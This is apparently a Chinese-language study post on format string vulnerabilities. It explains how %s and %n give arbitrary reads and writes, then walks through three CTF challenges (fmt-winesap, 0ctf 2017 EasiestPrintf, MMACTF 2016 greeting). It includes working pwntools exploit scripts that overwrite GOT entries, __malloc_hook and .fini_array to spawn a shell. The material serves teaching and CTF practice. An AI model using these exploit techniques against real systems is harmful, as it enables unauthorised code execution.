格式化串漏洞

复习一下格式化串,来做一道题~

原理

变参函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdarg.h>

int average(int first, ...){
int count = 0,sum =0,i=first;
va_list marker; //参数列表指针
va_start(marker,first); //获取第一个参数
while(i!=-1){ //直到参数值为-1
sum += i;
count++;
i = va_arg(marker,int); //获取下一个参数,int指定参数的类型--->大小
}
va_end(marker); //清理工作
return(sum?(sum/count):0);
}

int main(){
printf("%d\n",average(1,2,3,-1));
printf("%d\n",average(2,3,4,5,6,-1));
printf("%d\n",average(1,2,3,4,5,4,3,2,1,-1));
return 0;
}

  1. va_start通过最后一个固定参数初始化ap
  2. Va_arg获取当前可变参数并且根据提供数据类型后移指针
  3. va_end清理现场,将ap指向0

格式化串

格式化串很多,一般长成这样:**printf**(),它有个特性–可变参数个数,它采用cdecl方式调用,被调用者不知道参数个数,它只能根据第一个参数–格式化串来判断参数个数,它内部维持着一个参数指针,初始指向第一个变参位置,每读取一个转换规范串指针根据读取的类型长度后移一位,于是若能控制格式化串就能让它读取当前栈位置之上的任意栈数据,当然它的作用不仅于此,因为它有几个特别转换指示符:

字符 对应数据类型 含义
d / i int 接受整数值并将它表示为有符号的十进制整数,i是老式写法
x / X unsigned int 无符号16进制整数,x对应的是abcdef,X对应的是ABCDEF(不输出前缀0x)
s / S char * / wchar_t * 字符串,输出字符串中的字符直至字符串中的空字符(字符串以’\0‘结尾,这个’\0’即空字符)
p void * 以16进制形式输出指针
n int * 到此字符之前为止,一共输出的字符个数,不输出文本
这里的sn就很重要了,它们都表示将栈上相应位置的值作为地址,前者表示读取此地址的值,后者表示将输出的字符个数写入到此地址所指内存处,现在来看看两种典型利用方法。
#### 任意地址读
##### 读取栈高处
读取参数指针指向的地址极其后续栈地址,很好理解,因为参数指针是单向递增的,它一次能增加4或8个字节,由长度修饰符与转换指示符共同决定。
##### 读取任意地址
这里就需要用上s这个转换指示符了,另外还需要控制栈高处的至少对齐的四字节,用来存放要读取的地址,当然这在大部分情况下都很容易满足,例如:
1
2
3
4
5
6
7
8
#include<stdio.h>
#include<string.h>
int main(){
char a[1024];
scanf("%s",a);
printf(a);
return 0;
}
抛开其他漏洞不说,在printf函数内部,初始时参数指针是指向a的起始地址或是更前面的,所以在输入a时,在前面加上4字节的地址是轻而易举的事,唯一需要注意的就是要用正确的字节序。
#### 任意地址写
上面说到,写使用的是%n,它写入的是当前已经输出的字符的个数,如果要写的值是一个很小的数,那么直接输出那么多就好了,但若是写的数很大,一般来说是不可能直接填充这么多字符的,因为缓冲区容量有限,但根据格式转换规范—%[标志][输出最小宽度][.精度][长度修饰符]转换指示符,利用它的输出最小宽度就好了,输出最小宽度使一个十进制整数或*,若为*,这在后面对应参数指定,这个域的作用如名称,为最少输出的字符个数,但是还有一个问题,即使能够控制让输出那么多字符,格式化输出函数也不能做到真正输出这么多函数,它本身也有大小限制的,对于这个问题的解决办法就是逐字节的写或是双字写入,此时需要注意,统计已输出字符的计数器是不会清零的,可以使用低位覆盖或者是利用溢出回绕,最后一个知识点,可以使用%n$来指定当前位置的参数是第几位,n属于1~[MAX_ARG_N],如:
1
2
3
4
5
6
7
8
#include<stdio.h>
int main()
{
int i,j,k = 0;
printf("%4$5u%3$n%5$5u%2$n%6$5u%1$n\n",&k,&j,&i,5,6,7);
printf("i = %d,j = %d,k = %d\n",i,j,k);
return 0;
}
输出结果为:
1
2
    5    6    7
i = 5,j = 10,k = 15
这里有%n$的按照它指明的位置读写,没有的除去有的后,按顺序读取,如下所示:
其实这里的回绕挺麻烦的,不过~有现成的工具啦,pwntools提供半自动化的格式化串利用类,使用方法如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *


## 指定目标类型
#context.arch = 'amd64'
context.binary = './vulnerable'

## 循环输出函数
## 此函数一定要构造成能循环使用的形式
def exec_fmt(payload):
p = process('./vulnerable')
log.info("payload = %s"%repr(payload))
p.sendline(payload)
return p.recv()

## 获取实例
## numbwritten是除了自己输入的外之前还存在的字符个数
## padding是填充字符数,当不对齐时需要手动填充
autofmt = FmtStr(exec_fmt = exec_fmt,numbwritten = 0,padding=0)
## 获取偏移
offset = autofmt.offset

## 可以生成写字符串了
## 这里的write_size是一次写入的字节数,可以为:byte,short,int
## writes表示要写的地址与值,它是一个dict
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

## 当然更简单的是直接里面上面的对象
autofmt.write(printfGot,systemGot)
autofmt.execute_writes()
### 注意事项
记录一下其他的利用小技巧
1. 读出main的返回地址,这个地址就能算出libc的基址
2. 64位下地址前面很多0会被截断,需要把地址放在后面。
3. __printf_chk不能用%n 对于%$有限制
4. sprintf还能用于造成bufer overflow
5. snprintf就算超出上限一样会算到%n里面,即使不会写入buffer。
6. 在没有输出时,覆盖__stack_chk_fail 为ret,绕过canary,或者是劫持为system等
7. fprintf@got这种东西不太适合用于写systemAddr,因为它的第一个参数不是字符串,不好控制参数。
8. 当fmt buffer不在stack上时,若有buffer在格式化串函数运行时栈之上,则可以利用它,若这都没有,就需要找一些现成的指针:
+ bp chain:当有多层调用时,先根据当前栈bp值改掉上一层栈存的bp值,改最低位,就可以控制0xff字节的范围,再次对上一层栈存的bp处进行读写操作就能控制0xff范围内的数据啦,这样的好处是只覆盖低位绕过随机化,比如说再写入一个地址即可控制任意地址啦~
+ 修改argv0
9. printf return hijack,直接改掉printf的返回地址。
10. fmt从左至右解析,当遇到第一个%n$时,会先把所有此类参数存起来,所以不能直接%10$hhn%20$s来改掉20处再输出,但是前面不用%n$而是直接写为%x%x...则可以先改再读。

题目

fmt-winesap

分析

编译方式为gcc fmt.c -o fmt,那么是默认保护,在libc-2.26下是全保护,只有RELRO为partial:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void B(){
char buf[88];
fgets(buf,sizeof(buf),stdin);
printf(buf);
_exit(0);
}
void A(){
B();
}
int main(){
setvbuf(stdout,0,_IONBF,0);
alarm(180);
A();
return 0;
}

一个明显的格式化串漏洞,但是只能利用一次,程序就会退出,那么思路是先第一次泄露libc和stack并且劫持返回地址使能够再次利用漏洞,第二次就可以构造ropgetshell啦,当然也可以直接劫持GOT….

利用

思路一:

  1. 首先改掉printf的返回地址,改为mainAddr,因为有aslr,返回地址并不固定,但是栈上有A的rbp备份,main的rbp备份,它们都与当前rsp密切相关,那么可以先通过B里面保存的上层RBP指向A里面保存的上层RBP的地址,通过改低位可以绕过aslr(由于对齐,只有低字节的高4位是变化的,有16分之1的几率猜对),然后通过A里保存的RBP值(刚被修改为存放printf的返回地址的区域的地址)来修改printf的返回地址,修改为main,并且泄露出binary,libc,stack的地址。

  2. 有了libc地址即可算出system地址,而通过修改printf的返回地址进行rop,先弹出一些数据直到rsp到buffer区,在这里即回到了正常的rop。

思路二:

  1. 第一次利用如思路一
  2. 第二次改写exitGot为mainAddr,printfGot为systemAddr

此处为思路二的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import re
context.binary = './vul'
def cp():
return process(['./glibc-2.24/build/elf/ld.so','--library-path','./glibc-2.24/build/','./vul'])
'''
printf原返回地址: 0x4006A8 在stack:0x7fffd10e5e68 0x00007fffd10e5ef0
main入口地址: 0x4006C3
'''
#Arbp 6+0x60/0x08 = 18
#Brbp 6+(0x60+0x10)/0x08 = 20
def sl(s,maxSize=0x58):
assert(len(s)<maxSize)
log.info('sendline payload:0x%x::%s'%(len(s),s))
p.sendline(s)
def step1():
randr = 0x18
o1 = randr-16
o2 = 0xc3-randr
payload1 ='%c'*16+'%{}c%hhn%{}c%20$hhn@(%18$p)@@(%22$p)@@(%24$p)@'.format(o1,o2)
# gdb.attach(p)
sl(payload1)
return p.recv()

##一些地址
mainRetOff = 0x20f2a
exitGot = 0x601018

p = cp()

info = step1()
#p.interactive()
stackAddr,binAddr,systemAddr = re.findall(r'@[(](.*?)[)]@',info)
stackAddr = int(stackAddr,16)
binAddr = int(binAddr,16)
systemAddr = int(systemAddr,16)
systemAddr -= 1184376
log.info('stackAddr:%s',hex(stackAddr))
log.info('binAddr:%s',hex(binAddr))
log.info('systemAddr:%s',hex(systemAddr))
#改写exit为main,printf为system
#p.sendline('')
exitGot = binAddr + 0x200918
mainAddr = binAddr - 0x3d
printfGot = binAddr + 0x200920
printfAddr = systemAddr + 0xfd30
exitPlt = binAddr - 0x1aa
log.info('main:%s'%hex(mainAddr))
assert(mainAddr|0xffff == exitPlt|0xffff)
assert(printfAddr|0xffffff == systemAddr|0xffffff)
log.info('printfAddr:%s printfGot:%s'%(hex(printfAddr),hex(printfGot)))
o1 = mainAddr&0xffff
o2 = (systemAddr&0xffff)-o1 #(systemAddr&0xffff + 0x10000 - o1)&0xffff
#assert(o2+o1==0xc6b0)
o3 = ((systemAddr>>16)&0xff)-((o2+o1)&0xff) #((systemAddr>>16)&0xff+0x100-(o2+o1)&0xff)&0xff
#assert((0xc6b0+o3)&0xff == )
payload2 = '%{}c%{}$hn%{}c%{}$hn%{}c%{}$hhn'.format(o1,11,o2,12,o3,13).ljust(0x28,'a')+p64(exitGot)+p64(printfGot)+p64(printfGot+2)
#gdb.attach(p,'b *0x4006C3')
#gdb.attach(p)
#pause()
sl(payload2)
garbage = p.recvuntil('aa')
sl('/bin/sh\0')
p.interactive()

这里被坑了,python的运算符优先级和C的不一样,在py中&的优先级是比较低的,至少低于-减操作。。。反正以后写代码加小括号总是没问题的~

结果

0ctf-2017-easiestprintf-150

一道把学弟打击的怀疑人生的题~

分析

查看保护只有PIE没开,直接看程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
void *v3; // esp
char buf; // [esp+3h] [ebp-15h]
int fd; // [esp+4h] [ebp-14h]
int v6; // [esp+8h] [ebp-10h]
unsigned int v7; // [esp+Ch] [ebp-Ch]
..............................................
fd = open("/dev/urandom", 0);
if ( read(fd, &buf, 1u) != 1 )
exit(-1);
close(fd);
v6 = buf;
v3 = alloca(16 * ((buf + 30) / 0x10u)); //手动实现栈地址随机化
do_read(); //任意位置读
leave(); //格式化串
}
unsigned int do_read()
{
.................
_isoc99_scanf("%u", &v1);
printf("%#x\n", *v1);
.................
}
void __noreturn leave()
{
signed int i; // [esp+8h] [ebp-B0h]
char s[160]; // [esp+Ch] [ebp-ACh]
unsigned int v2; // [esp+ACh] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(s, 0, 0xA0u);
puts("Good Bye");
for ( i = 0; i <= 158; ++i )
{
if ( read(0, &s[i], 1u) != 1 )
exit(-1);
if ( s[i] == 10 )
break;
}
printf(s);
exit(0);
}

首先可以任意读,一般用来泄露libc地址吧,接下来又是一个格式化串漏洞,但是printf后直接就调用exit退出程序了,于是有思路:

  1. 覆盖exit@got.plt FULL RELRO
  2. 覆写printf的返回地址 栈随机化,而且手动随机导致通过栈ebp泄露也失效
  3. exit执行的三个函数数组 据说加密只读,失败
  4. 覆写malloc_hookfree_hook,在printf输出约大于65537一定会使用malloc分配空间,那么覆写即可。

控制EIP,然后捏?首先想到的当然是one_gdaget,然而没有满足约束的,辣么就只能自己构造啦,free的参数是刚申请的内存的地址,但是那片内存的起始位置难以控制,失败,而malloc参数是要申请的大小,容易控制,可以先将参数写入bss然后malloc(&bss)来getshell。

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# coding=utf-8
from pwn import *

binary=ELF('./3-26')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
startGot = binary.got['__libc_start_main']
libc.symbols['one_gadget'] = 1 #int(args['OG'],16)

r=process('./3-26')
#r = remote('127.0.0.1',1234)
r.sendlineafter('Which address you wanna read:',str(startGot))
r.recvuntil('0x')
startAddr = int(r.recv(8),16)
r.clean()

libc.address = startAddr - libc.symbols['__libc_start_main']
log.info('libc_base: ' + hex(libc.address))
log.info('__free_hook: ' + hex(libc.symbols['__free_hook']))
log.info('__malloc_hook: ' + hex(libc.symbols['__malloc_hook']))
log.info('systemAddr:' + hex(libc.symbols['system']))
if False:
gdb.attach(r,'''
# b *0x804881b
b malloc
continue
''')
#raw_input("hellowpwn")
writes = {0x804a04c :u32('sh;a'),
libc.symbols['__malloc_hook']:libc.symbols['system']}
width = 0x804a04c - 0x20
payload = fmtstr_payload( offset = 7,writes = writes,numbwritten = 0,write_size = 'short') + '%{}c'.format(width)
log.info('payload len:%s'%len(payload))
for i in ['\x00','\n']:
if i in payload:
print 'sssssssssssssss0'

r.sendline(payload)
r.clean()
r.sendline('id')
r.interactive()

结果

MMACTF-2016-greeting

分析

查看下发现有两个保护:

1
2
3
4
5
6
7
8
root@kali:~/Desktop# pwn checksec greeting 
[*] '/root/Desktop/greeting'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
root@kali:~/Desktop#

反编译发现是很典型的格式化串输出漏洞:

它自己实现了getline函数,可见坏字符是\n

其他地方,尽管v5可能会覆盖输入字符串但是没多大影响,再找了下存在system()

所以想到利用方法就是传入/bin/sh后覆写地址,调用system函数,但是这个格式化串漏洞并不能循环利用,只能利用一次,似乎用处不大,当没有ASLR时可以覆写返回地址达到循环利用的目的,否则就要想其他办法,去找找main退出后会执行的段:

1
2
3
4
5
6
7
8
root@kali:~/Desktop# objdump -s -j .dtors greeting 

greeting: file format elf32-i386

objdump: section '.dtors' mentioned in a -j option, but not found in any input file
root@kali:~/Desktop# objdump -s greeting |grep fini
Contents of section .fini:
Contents of section .fini_array:

发现了存在.fini_array节区,那么直接覆盖第一个元素就好了。

利用

方法一

这种方法比较简单,比较特殊,因为这里有一个strlen函数会将输入字符串直接作为参数,和system函数很像,于是将system的plt覆盖到strlen的got里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

targetFileName = './greeting'
context.binary = targetFileName


def exec_fmt(payload):
p = process(targetFileName)
p.recv()
log.info('payload = %s'%repr(payload))
p.sendline(payload)
return p.recv()

autofmt = FmtStr(exec_fmt,numbwritten=18,padlen=2)
offset = autofmt.offset
log.info("offset = %s"%(offset))

elf = ELF(targetFileName)
systemPlt = elf.plt['system']
strlenGot = elf.got['strlen']
mainSymbol = elf.symbols['main']
finiSymbol = elf.symbols['__do_global_dtors_aux_fini_array_entry']

log.info("system:%x\nstrlen:%x\nmain:%x\nfini:%x\n"%(systemPlt,strlenGot,mainSymbol,finiSymbol))

p = process(targetFileName)
writes = {finiSymbol:mainSymbol,
strlenGot:systemPlt}

padding = 'aa'
payload1 = padding + fmtstr_payload(offset = offset,writes = writes,numbwritten = 20,write_size='int')
print "payload:len = %d :%s"%(len(payload1),payload1)
p.recv()
#gdb.attach(p)
p.sendline(payload1)
p.recvline()

payload2 = '/bin/sh'
p.sendline(payload2)
p.interactive()

结果:

方法二


看到偏移1处是rodata区的数据,偏移2处即是栈上,为inputStr的地址,于是根据偏移即可算出main返回地址&inputStr+0x50,于是这样调用:

  1. 第一次泄露出返回地址,并且将.fini_array*的元素覆写为main地址,并且将 *sh 写入bss区。(init_array处的函数只会被调用一次)
  2. 将返回地址改写为system地址,将返回地址之上的值写为sh的地址。

参考

[0]STCS 2016 Week6
[1] http://blog.dragonsector.pl/2017/03/0ctf-2017-easiestprintf-pwn-150.html
[2]https://codisec.com/tw-mma-2-2016-greeting/
[3]http://docs.oracle.com/cd/E19253-01/819-7050/chapter3-1/
[4]https://nuc13us.wordpress.com/2016/09/05/tokyo-westernsmma-ctf-2nd-2016-greeting-150pwn/